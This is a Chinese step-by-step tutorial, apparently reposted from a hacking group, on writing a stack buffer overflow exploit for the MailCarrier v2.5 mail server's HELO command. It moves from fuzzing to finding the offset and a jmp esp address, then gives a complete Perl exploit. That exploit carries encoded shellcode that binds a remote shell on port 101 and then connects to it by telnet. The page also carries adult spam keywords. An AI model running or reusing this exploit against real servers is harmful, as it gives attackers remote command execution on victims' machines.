欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久

打開(kāi)APP
userphoto
未登錄

開(kāi)通VIP,暢享免費電子書(shū)等14項超值服

開(kāi)通VIP
菜鳥(niǎo)溢出手冊
文章來(lái)源:邪惡八進(jìn)制信息安全團隊


現在不管安全雜志還是網(wǎng)上教人如何寫(xiě)exploit的文章已經(jīng)很多了。有的文章確實(shí)很不錯,今天我也來(lái)湊湊熱鬧,一步一步帶領(lǐng)大家從發(fā)現漏洞到寫(xiě)出exploit來(lái)。首先來(lái)看看我們應該準備哪些東西哦:
vmware workstation 虛擬機!單機調試溢出必備品哦!
windows 2000 server sp4 在虛擬機我們需要裝的
Mailcarrier v2.5 一個(gè)功能不錯的mail服務(wù)器軟件,具有反垃圾郵件功能等。這個(gè)就是我們拿來(lái)練手的東東了。
activeperl for windows 不用說(shuō)了,windows下的perl解釋器,我們用來(lái)調試用的。
ollydebug中文版 調試工具,我的最?lèi)?ài)。
jmpesp sunx寫(xiě)的查找 jmpesp 指令地址的工具


東西就這么多,把mailcarrier、jmpesp以及ollydebug都傳到我們的虛擬機系統中并把mailcarrier安裝好。如圖一。

下面我們開(kāi)始這次exploit之旅吧!


一、漏洞挖掘

當你拿到一款軟件的時(shí)候,如何去挖掘它的溢出漏洞呢?其實(shí)溢出的道理很簡(jiǎn)單,關(guān)鍵是沒(méi)有驗證接收內容的長(cháng)度而造成溢出使得我們可以執行任意代碼。那么我們對一款軟件進(jìn)行溢出漏洞檢測的時(shí)候就要多主意那些需要我們輸入的參數了。一個(gè)軟件接收的參數肯定不只一個(gè),這么多的參數手動(dòng)測試似乎讓人頭疼也是不切實(shí)際的。因此我們可以利用工具或者是腳本來(lái)自動(dòng)探測。這樣的程序應該可以從網(wǎng)上照得到的,我們這次的目標程序是一個(gè)mail服務(wù)器,命令參數上不是很多,所以我們自己寫(xiě)個(gè)腳本就可以了。
用perl來(lái)寫(xiě)這個(gè)測試程序其實(shí)很簡(jiǎn)單(有人也許會(huì )問(wèn),為什么要用perl?哦,你用別的腳本語(yǔ)言也是可以的比如python,主要是perl偶用得習慣),我舉個(gè)簡(jiǎn)單的例子來(lái)說(shuō)明一下吧:

代碼:
     #!/usr/bin/perl
     #溢出檢測程序 by 孟方明〔-273℃〕
     use IO::Socket;
     my $host="192.168.220.6";#目標地址,自己修改就是了
     my $port=25;#目標端口
     my @cmds=(HELO,EHLO);#這里我們手動(dòng)填入我們需要檢測的命令
     my $test="111122223333444455556666777788889999";#原始測試字符串
     my $rnd;#產(chǎn)生隨機數以便隨機產(chǎn)生測試buffer
     my $times=20;#初始化重復次數
     my $buf;
     my $bytes;
     foreach $cmd (@cmds){
     print "test $cmd command\n";
     sleep 1;
     my $sock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,$Proto=>‘tcp‘) || die "connected failed\n";
     #如果連不上了,嘿嘿~~~~
     while (<$sock>)
     { print $_;
     $rnd=int(rand(10));
     print "the seed is $rnd\n";
     $times=$times*$rnd;
     print "$times times we should repeat\n";
     $buf=$test x $times;
     print "buffer we use to attack:\n$buf\n";
     $bytes=length($buf);
     print "the length of buffer:$bytes\n";
     sleep 1;
     print "now attack:\n";
     print $sock "$cmd $buf\r\n";
     }
     close $sock;
     }


以上程序就是一個(gè)簡(jiǎn)單的溢出漏洞檢測程序,其中@cmds數組中是我們想要測試的帶參數的命令,我們可以手工填寫(xiě)我們需要測試的命令。$times變量是循環(huán)次數的初始值,我們可以在實(shí)際當中修改它的值。整個(gè)程序其實(shí)很簡(jiǎn)單,有興趣的朋友可以去擴充它。

好了,通過(guò)上面簡(jiǎn)單程序的檢測我們發(fā)現了HELO命令如果跟上超長(cháng)參數的話(huà)則會(huì )引起溢出!

二、溢出點(diǎn)的定位

既然溢出漏洞被我們發(fā)現了,下面就是如何利用它了。在繼續下面的事情之前我們還是先復習一下溢出的一些知識吧。關(guān)于溢出的原理在以前的x檔案中的溢出專(zhuān)題里都有介紹,大家可以自己去查找,我在這里就不再贅述了。由于我們發(fā)現的這個(gè)是棧溢出,所以我們有必要再復習一下我們應該如何構造溢出數據。在win系統下我們采取NNNNNNRSSSSSS的覆蓋方式來(lái)構造我們的溢出數據。在這里我們是利用win系統下的核心dll力的指令來(lái)完成跳轉的(windows的系統核心dll包括kernel32.dll、user32.dll、gdi32.dll。這些dll一直位于內存中,而且固定的版本windows加載的位置也是固定的),我們使用系統核心dll中的jmpesp指令所在的地址覆蓋返回地址,而把shellcode緊跟在返回地址的后面,這樣就可以跳轉到我們的shellcode來(lái)執行了。因為,當函數返回時(shí),執行了POPRET,這樣EIP為jmpesp的地址;而此時(shí)esp正好指向了后面的shellcode的第一個(gè)字節。因此正好就執行了我們的shellcode。
OK!必要的知識復習完了我們繼續我們的溢出之旅吧!
通過(guò)上面的敘述,我們首先要做的就是定位返回地址,同樣我們還是用perl來(lái)進(jìn)行調試。在虛擬機中,我們首先打開(kāi)mail carrier,新建一個(gè)mail server我這里是jack。然后打開(kāi)olly,選擇文件-》附加-》找到smtpr進(jìn)程,然后打開(kāi),如圖一,等加載完畢后按F9運行它。這個(gè)時(shí)候我們回到主機中,編輯一個(gè)mail.pl文件內容如下:

代碼:
    #!/usr/bin/perl
    #溢出點(diǎn)定位工具 by 孟方明[-273℃]

$|=1;
use IO::Socket;

my $str="111122223333444455556666777788889999";
my $host="192.168.220.6";
my $port=25;
sub genbuf{}#我們以后的修改都在這個(gè)過(guò)程里
&attack(&genbuf($str),$host,$port);
sub attack
{ my ($buf,$host,$port)=@_;
my $sock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Proto=>‘tcp‘);
$sock->autoflush(1);
my $res=<$sock>;
print $res,"\n";
print "buffer sent are:\n";
print $buf,"\n";
print "buffer length is :\n";
print length($buf),"\n";#再屏幕上打出$buf的長(cháng)度
print "now sending...\n";
print $sock "HELO $buf\r\n";
$res=<$sock>;
print $res;
close $sock;
}


寫(xiě)完如上代碼后,我們以后的工作都將在genbuf這個(gè)過(guò)程中添加,其它的就不用管了。OK!一切準備就續,Let‘s go!
在genbuf中添加如下代碼:

代碼:
sub genbuf{
my $str=shift;
my $buf;
$buf=$str x 300;#把$str的內容重復300次
return $buf;
}


我們先重復三百次$str里的內容,而$str里是36個(gè)字節。這樣的話(huà)發(fā)送的全部字節一共是:36×300=10800??匆幌挛覀兊膐lly有什么反應吧,如圖二。



注意看olly下面的提示:“訪(fǎng)問(wèn)違反:寫(xiě)入到0756000”!哦,看樣子我們構造的字符串太長(cháng)了點(diǎn),不光覆蓋了EIP而且還覆蓋到了別的應用程序需要修改的值。這不是我們想要的提示,因此我們需要修改重復次數。這里我們使用普遍被采用的二分法(比如先前的是300,然后改成150,如果還是不行就再取其一半75,如果75的長(cháng)度沒(méi)有覆蓋到返回地址,則再將75取一半40然后加上75就是115等等。依次類(lèi)推),OK!將重復次數修改為150,這樣的話(huà)字節總數就是36 × 150=5400。保存修改的文件,然后再溢出一次看看(每次溢出完后為了下一次的溢出調試,我們需要在圖一中我指示的那樣停掉服務(wù)然后再開(kāi)啟服務(wù),然后再用olly附加smtpr進(jìn)程,F9運行。以后都是這樣,我不再多說(shuō)了)。結果如圖三所示。



哈哈!注意看olly下面的提示:“訪(fǎng)問(wèn)違反:正在執行〔36353535〕”是不是跟前面的不一樣了?注意看EIP里的值,是不是很熟悉呢?在十六進(jìn)制中31-39就是十進(jìn)制中的1-9。那么EIP里的值實(shí)際上就是十進(jìn)制中的6555。是不是覺(jué)得挺別扭的?如果都是5的話(huà)不就好了?為什么呢?因為在win32系統中EIP寄存器是32位長(cháng)即4個(gè)字節,所以我們最好能讓EIP的四個(gè)字節都是一樣的值,這樣便于我們下面的定位。OK!如何讓它正好是4個(gè)5呢?大家看$str的內容,1-9個(gè)數字分別被重復了四次,我們在buffer的前面加一個(gè)任意字符,使得后面的所以字符都被后推一個(gè)那么EIP里不就正好是4個(gè)5了?說(shuō)干就干,修改genbuf過(guò)程中的以下語(yǔ)句:
my $buf=‘a(chǎn)‘;
$buf.=$str x 150;
這樣就在我們的buffer前面加了一個(gè)字符‘a(chǎn)‘。再次溢出看看,如圖四。



呵呵,是不是正如我們所說(shuō)的那樣?好了現在EIP里的四個(gè)字節的內容都是0x35了。這樣我們就可以推斷落在返回地址位置的肯定是5,但是具體哪個(gè)5我們還無(wú)法確定。下面我將除了5以外的所有數字全部用‘a(chǎn)‘屏蔽掉。我們只需要在return語(yǔ)句之前添加這樣一句就可以實(shí)現:“$buf=~s/[^5]/a/g;".這樣所有的非5數字就全部被屏蔽了,我們再將第一個(gè)"5555"替換為"1111",第二個(gè)"5555"替換為"2222",依次類(lèi)推。這樣做的目的是進(jìn)一步確定是第幾個(gè)"5555"落在了返回地址的位置上。為了看得直觀(guān),我們重新寫(xiě)genbuf過(guò)程的代碼,將生成的buffer寫(xiě)到一個(gè)文件里以便我們對比,修改后的代碼如下:
Code:
sub genbuf#我們以后的修改都在這個(gè)過(guò)程里
{
my $str=shift;
$str.="\n";
my $buf;
$buf.=$str x 150;
my $num=1;
open(TEMP,">temp.txt");#以寫(xiě)入方式打開(kāi)一個(gè)臨時(shí)文件
print TEMP $buf;#將生成的原始buffer寫(xiě)入文件
undef($buf);
close TEMP;
open(TEMP,";#全部讀到buffer數組中
close TEMP;
my $buf=‘a(chǎn)‘;
foreach(@buffer)
{ chomp($_);
s/[^5]/a/g;#將所有非5字符全部替換為a
s/5{4}/$num x 4/e;#以下3行代碼是將所有的5再按照1-9的順序替換
if($_=~/7777/)#如果該行包含“7777”
{
s/7{4}/$n x 4/e;#開(kāi)始替換
$n++;
$n=1 if($n >9);
if($_=~/7777/)
{
s/7{4}/$nn x 4/e;
$nn++;
$nn=1 if ($nn > 9);
}
else
{s/\d/a/g;}
}
else
{s/\d/a/g;}#如果不包含7,則將非7字符替換為‘a(chǎn)
$num++;
$num=1 if ($num >9);
$buf.=$_;
}
undef $buffer;
return $buf;
}

我們將上面的過(guò)程處理后的buffer打印出來(lái),然后跟我們保存雜文件里的對比一下,如圖五。



對應關(guān)系我都給你指出來(lái)了,OK!再一次溢出!如圖六。



哦!這次EIP變成了“37373737”也就是說(shuō)是4個(gè)7落到了EIP里了,但是生成的“7777”還是很多無(wú)法確定是哪個(gè)“7777”(可以從圖五中的cmd窗口中看出來(lái))。所以我們重復上面的步驟,將非7數字全部用‘a(chǎn)‘替換,然后把所有的7再從1-9開(kāi)始替換。在上面的程序"my $num=1;"后面添加一句“my $n=1;"。在“s/5{4}/$num x 4/e;”后添加如下代碼:

代碼:
if($_=~/7777/)#如果該行包含“7777”
 {
 s/7{4}/$n x 4/e;#開(kāi)始替換
 $n++;
 $n=1 if($n >9);
 }
  else
{s/\d/a/g;}#如果不包含7,則將非7字符替換為‘a(chǎn)‘


保存程序后,我們再溢出一次。如圖七。

呵呵,還是37??纯瓷傻腷uffer里面還有兩個(gè)“7777”,因此我們必須再重復上面的步驟一次將所有非7字符替換為‘a(chǎn)‘,然后再對所有7字符按照1-9順序替換。通過(guò)這次替換我們就可以確定出溢出點(diǎn)來(lái)了,我把整個(gè)gensub過(guò)程代碼附在下面:

代碼:
sub genbuf#我們以后的修改都在這個(gè)過(guò)程里
{
my $str=shift;
$str.="\n";
my $buf;
$buf.=$str x 150;
my $num=1;
open(TEMP,">temp.txt");#以寫(xiě)入方式打開(kāi)一個(gè)臨時(shí)文件
print TEMP $buf;#將生成的原始buffer寫(xiě)入文件
undef($buf);
close TEMP;
open(TEMP,"<temp.txt");#從上面生成的文件讀取
my @buffer=<TEMP>;#全部讀到buffer數組中
close TEMP;
my $buf=‘a(chǎn)‘;
foreach(@buffer)
{  chomp($_);
s/[^5]/a/g;#將所有非5字符全部替換為a
 s/5{4}/$num x 4/e;#以下3行代碼是將所有的5再按照1-9的順序替換
  if($_=~/7777/)#如果該行包含“7777”
 {
 s/7{4}/$n x 4/e;#開(kāi)始替換
 $n++;
 $n=1 if($n >9);
 if($_=~/7777/)
   {
   s/7{4}/$nn x 4/e;
   $nn++;
   $nn=1 if ($nn > 9);
   }
   else
   {s/\d/a/g;}

 }
  else
{s/\d/a/g;}#如果不包含7,則將非7字符替換為‘a(chǎn)
   $num++;
$num=1 if ($num >9);
  $buf.=$_;
}
undef $buffer;
return $buf;
}


通過(guò)上面的代碼產(chǎn)生的buffer里面只有"1111"和"2222"數字字符串了,其它的全部都被替換成了‘a(chǎn)‘。我們再次溢出看看,如圖八。

現在EIP是“323232”了,這是生成的buffer中唯一值,通過(guò)它我們可以計算出溢出點(diǎn)來(lái)了。計算方法很多,其實(shí)通過(guò)上面的步驟我們完全可以口算出來(lái)。但為了方便我們依然可以用程序來(lái)實(shí)現自動(dòng)計算,如下:

代碼:
sub cal
{
my $buf=shift;
my $pos=index($buf,"2222");
my $shell=substr($buf,0,$pos);
return $shell;
}


把上面的代碼放到我們的程序中,然后我們在主程序中添加如下代碼“print length(&cal(&genbuf($str)));",length函數是用來(lái)獲取長(cháng)度的,然后運行我們的程序看看。結果是5093,這個(gè)就是溢出點(diǎn)了,5093個(gè)字節的buffer后面就是返回地址了。我們驗證一下吧,把上面的cal過(guò)程中的最后一句改為“return$shell."bbbb";“,然后把調用attack過(guò)程的語(yǔ)句修改如下:
&attack(&cal(genbuf($str)),$host,$port);保存后,運行再次溢出看看。如圖九。

EIP里是不是”62626262“(‘b‘的16進(jìn)制是0x62),這就驗證了我們尋找的溢出點(diǎn)是正確的。溢出點(diǎn)的定位告一段落。有些朋友看萬(wàn)這一句有可能已經(jīng)頭昏腦脹了,其實(shí)我在努力給大家講解的是一個(gè)方法,我們完全可以將這個(gè)方法用程序來(lái)進(jìn)行實(shí)現的,這樣就不難了。在光盤(pán)中已經(jīng)附帶好了我寫(xiě)的完整溢出點(diǎn)定位工具了,大家可以直接拿來(lái)用的。
二、返回地址

溢出點(diǎn)確定好后,我們該考慮用什么來(lái)覆蓋返回地址了。在這里我們用到了sunx的jmpesp工具,用它來(lái)尋找jmp esp的地址。

上圖是我在kernel32.dll中查找的結果,我們這里選用的地址"\x29\x4c\xdf\x77"(就是圖中的0x77df4c29,我們這里要把它們反過(guò)來(lái))。這樣我們的返回地址也搞定了。

exploit出爐

溢出點(diǎn)都確定出來(lái)了,下一步就應該是shellcode的編寫(xiě)了。其實(shí)shellcode編寫(xiě)是需要很多方面額知識的,寫(xiě)出一個(gè)好用的shellcode來(lái)也是不容易的。由于編寫(xiě)shellcode需要很多方面的知識,講了也許會(huì )讓大家一頭霧水,反而效果不好。以后有機會(huì )我會(huì )詳細給大家講講的,幸好現在網(wǎng)上有很多現成的shellcode,有些確實(shí)不錯。我們這些菜鳥(niǎo)完全可以發(fā)揮我們的“拿來(lái)主義”精神,充分利用。我這里隨便找了一個(gè)可以邦定101端口的簡(jiǎn)單shellcode,OK!萬(wàn)事俱備,就差我們的完善了。下面是完整的利用程序:

代碼:
#!/usr/bin/perl
#mailcarrier HELO命令遠程溢出程序 by 孟方明〔-273℃〕
$|=1;
use IO::Socket;
&usage if(@ARGV<1);
my $host=shift;
my $buffer=‘a(chǎn)‘ x 5093;
$buffer.="\x29\x4c\xdf\x77";
$buffer.="\x90" x 32;#為了確保執行到我們覆蓋的jmpesp地址后能順利執行到我們shellcode,我們往往會(huì )在shellcode前設一些NOP指令
my $shellcode="\xEB".
 "\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF".
 "\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D".
 "\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9".
 "\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C".
 "\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89".
 "\x60\x63\x8A\xB9\x48\xD7\xD6\xD5\xD3\x4A\x80\x88\xD6\xE2\xB8\xD1\xEC\x03\x91\x03".
 "\xD3\x84\x03\xD3\x94\x03\x93\x03\xD3\x80\xDB\xE0\x06\xC6\x86\x64\x77\x5E\x01\x4F".
 "\x09\x64\x88\x89\x88\x88\xDF\xDE\xDB\x01\x6D\x60\xAF\x88\x88\x88\x18\x89\x88\x88".
 "\x3E\x91\x90\x6F\x2C\x91\xF8\x61\x6D\xC1\x0E\xC1\x2C\x92\xF8\x4F\x2C\x25\xA6\x61".
 "\x51\x81\x7D\x25\x43\x65\x74\xB3\xDF\xDB\xBA\xD7\xBB\xBA\x88\xD3\x05\xC3\xA8\xD9".
 "\x77\x5F\x01\x57\x01\x4B\x05\xFD\x9C\xE2\x8F\xD1\xD9\xDB\x77\xBC\x07\x77\xDD\x8C".
 "\xD1\x01\x8C\x06\x6A\x7A\xA3\xAF\xDC\x77\xBF\x77\xDD\xB8\xB9\x48\xD8\xD8\xD8\xD8".
 "\xC8\xD8\xC8\xD8\x77\xDD\xA4\x01\x4F\xB9\x53\xDB\xDB\xE0\x8A\x88\x88\xED\x01\x68".
 "\xE2\x98\xD8\xDF\x77\xDD\xAC\xDB\xDF\x77\xDD\xA0\xDB\xDC\xDF\x77\xDD\xA8\x01\x4F".
 "\xE0\xCB\xC5\xCC\x88\x01\x6B\x0F\x72\xB9\x48\x05\xF4\xAC\x24\xE2\x9D\xD1\x7B\x23".
 "\x0F\x72\x09\x64\xDC\x88\x88\x88\x4E\xCC\xAC\x98\xCC\xEE\x4F\xCC\xAC\xB4\x89\x89".
 "\x01\xF4\xAC\xC0\x01\xF4\xAC\xC4\x01\xF4\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9".
 "\xD9\xC9\xD9\xC1\xD9\xD9\xDB\xD9\x77\xFD\x88\xE0\xFA\x76\x3B\x9E\x77\xDD\x8C\x77".
 "\x58\x01\x6E\x77\xFD\x88\xE0\x25\x51\x8D\x46\x77\xDD\x8C\x01\x4B\xE0\x77\x77\x77".
 "\x77\x77\xBE\x77\x5B\x77\xFD\x88\xE0\xF6\x50\x6A\xFB\x77\xDD\x8C\xB9\x53\xDB\x77".
 "\x58\x68\x61\x63\x6B\x90";
 $buffer.=$shellcode;
 my $sock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>25,Proto=>‘tcp‘) || die "connected failed!\n";
 $sock->autoflush(1);
 my $res=<$sock>;
 print $res;
 print "Now starting sending special buffer...\n";
 print $sock "HELO $buffer\r\n";
 sleep 1;
 close $sock;
print "Now trying to connect to remote port 101 ...\n";
sleep 1;
system("telnet $host 101");

sub usage{
print<<"EOF";
              MailCarrier v2.5 HELO command overflow exploit

                     wrriten by 孟方明〔-273℃〕

     usage:
                    perl $0 <IP>

if succeeded,you‘ll get a shell bind on remote port 101.
EOF

exit(0);

}


這就是一個(gè)完整的exploit其中我們在shellcode前加了32個(gè)NOP指令,NOP是一個(gè)空指令,當CPU碰到此指令后將什么也不做而繼續往下執行。



四、結束語(yǔ)

整個(gè)過(guò)程寫(xiě)完了,我覺(jué)得這篇文章與以往的類(lèi)似文章相比不同的地方就是,我在努力的帶領(lǐng)大家一起一步一步去操作。因此理論性的知識涉及的很少,這方面大家可以從以往的文章中學(xué)習到。其中確定溢出點(diǎn)的方法我是很喜歡的,用程序來(lái)實(shí)現是非常容易的,如果大家需要的話(huà)可以從光盤(pán)中找到。OK,so much!see you next time!!

_________________
本站僅提供存儲服務(wù),所有內容均由用戶(hù)發(fā)布,如發(fā)現有害或侵權內容,請點(diǎn)擊舉報。
打開(kāi)APP,閱讀全文并永久保存 查看更多類(lèi)似文章
猜你喜歡
類(lèi)似文章
chrome(最新版可用) 0day上線(xiàn)cs & wx 0day上線(xiàn)
實(shí)戰 | 記一次Word文檔網(wǎng)絡(luò )釣魚(yú)以及繞過(guò)火絨,電腦管家和Windows Defender
CTF PWN練習之繞過(guò)返回地址限制
XModem協(xié)議源碼-crc16.h,crc16.c
CRC校驗代碼與使用技巧
Xmodem源代碼
更多類(lèi)似文章 >>
生活服務(wù)
分享 收藏 導長(cháng)圖 關(guān)注 下載文章
綁定賬號成功
后續可登錄賬號暢享VIP特權!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服

欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久